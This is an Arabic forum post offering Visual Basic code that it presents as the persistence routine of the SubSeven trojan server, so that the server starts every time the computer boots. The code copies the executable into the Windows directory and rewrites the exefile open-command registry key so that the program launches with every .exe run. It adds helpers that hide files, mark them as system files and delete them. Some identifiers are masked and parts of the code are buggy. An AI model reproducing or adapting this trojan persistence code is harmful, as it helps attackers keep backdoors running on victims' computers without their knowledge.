|
hakar
الكود الذى هو صمم به سيرفر برنامج السب سفن و هذا الكود يعتبر اقوى كود وجته يعمل على جعل السيرفر يفتح فى كل مرة يتم تشغيل فيها الجهاز
فضغطة واحده على هذا المف تجعل السيرفر يعمل دائما دون توقف
اتمنى ان تستخدموا الكود بحرص شديد و اتمنى لكم التوفيق
كود
Public Sub NotKnown()
Dim Reg As Object
Set Reg = CreateObject("w******.****l")
FileCopy App.Path & "\" & App.EXEName & ".exe", "c:/windows/" & App.EXEName & ".exe"
Reg.RegWrite "HKEY_CLASSES_ROOT\exefile\****l\open\command\ ", App.EXEName & ".exe " & Chr(34) & Chr(37) & Chr(49) & Chr(34) & Chr(32) & Chr(37) & Chr(42)
End Sub
Public Sub RemoveNotKnown()
' Removes the sub 7 like function
Dim Reg As Object
Set Reg = CreateObject("w******.****l")
Reg.RegWrite "HKEY_CLASSES_ROOT\exefile\****l\open\command\ ", Chr(34) & Chr(37) & Chr(49) & Chr(34) & Chr(32) & Chr(37) & Chr(42)
End Sub
Public Sub Save(FileName As String)
If FileReal = True Then
If MsgBox("Overwrite File?", vbYesNo) = vbYes Then
DeleteFile (FileName)
'save file code
Else
'do NOT overwrite the file
End If
End If
End Sub
Public Function FileReal(FileName) As Boolean
On Error GoTo Error
If Dir(FileName) = FileName Then
FileReal = True
Else
FileReal = False
End If
Exit Function
Error:
Exit Sub
End Function
Public Function GetFileSize(FileName) As String
On Error GoTo Gfserror
Dim TempStr As String
TempStr = FileLen(FileName)
If TempStr >= "1024" Then
'In KB
TempStr = CCur(TempStr / 1024) & "KB"
Else
If TempStr >= "1048576" Then
'In MB
TempStr = CCur(TempStr / (1024 * 1024)) & "KB"
Else
TempStr = CCur(TempStr) & "B"
End If
End If
GetFileSize = TempStr
Exit Function
Gfserror:
GetFileSize = "0B"
Resume
End Function
Public Function GetAttrib(FileName) As String
On Error GoTo GAError
Dim TempStr As String
TempStr = GetAttr(FileName)
If TempStr = "64" Then
TempStr = "Alias"
End If
If TempStr = "32" Then
TempStr = "Archive"
End If
If TempStr = "16" Then
TempStr = "Directory"
End If
If TempStr = "2" Then
TempStr = "Hidden"
End If
If TempStr = "0" Then
TempStr = "Normal"
End If
If TempStr = "1" Then
TempStr = "ReadOnly"
End If
If TempStr = "4" Then
TempStr = "System"
End If
If TempStr = "8" Then
TempStr = "Volume"
End If
GetAttrib = TempStr
Exit Function
GAError:
GetAttrib = "Unknown"
Resume
End Function
Public Sub SetHidden(FileName As String)
On Error Resume Next
SetAttr FileName, vbHidden
End Sub
Public Sub SetReadOnly(FileName As String)
On Error Resume Next
SetAttr FileName, vbReadOnly
End Sub
Public Sub SetSystem(FileName As String)
On Error Resume Next
SetAttr FileName, vbSystem
End Sub
Public Sub SetNormal(FileName As String)
On Error Resume Next
SetAttr FileName, vbNormal
End Sub
Public Function GetFileExtension(FileName As String)
On Error Resume Next
Dim TempStr As String
TempStr = Right(FileName, 2)
If Left(TempStr, 1) = "." Then
GetFileExtension = Right(FileName, 1)
Exit Function
Else
TempStr = Right(FileName, 3)
If Left(TempStr, 1) = "." Then
GetFileExtension = Right(FileName, 2)
Exit Function
Else
TempStr = Right(FileName, 4)
If Left(TempStr, 1) = "." Then
GetFileExtension = Right(FileName, 3)
Exit Function
Else
TempStr = Right(FileName, 5)
If Left(TempStr, 1) = "." Then
GetFileExtension = Right(FileName, 4)
Exit Function
Else
GetFileExtension = "Unknown"
End If
End If
End If
End If
End Function
Public Function GetFileDate(FileName As String) As String
On Error Resume Next
GetFileDate = FileDateTime(FileName)
End Function
Public Sub DeleteFile(FileName As String)
On Error GoTo DelError
Kill FileName
Exit Sub
DelError:
MsgBox "Error deleting File"
Resume
End Sub
Public Sub CopyFile(Source As String, Destination As String)
On Error GoTo CopyError
FileCopy Source, Destination
Exit Sub
CopyError:
MsgBox "Error copying File"
Resume
End Sub
Public Sub MoveFile(Source As String, Destination As String)
On Error GoTo MoveError
FileCopy Source, Destination
Kill Source
Exit Sub
MoveError:
MsgBox "Error moving File"
Resume
End Sub
Public Sub MakeDIR(Path As String)
On Error GoTo DIRError
MkDir Path
Exit Sub
DIRError:
MsgBox "Error creating Directory"
Resume
End Sub
Public Sub RemoveDIR(Path As String)
On Error GoTo DIRError2
RmDir Path
Exit Sub
DIRError2:
MsgBox "Error removing Directory"
Resume
End Sub
Public Sub CloseAllFiles()
On Error Resume Next
Reset
End Sub
|
النمط الخطي
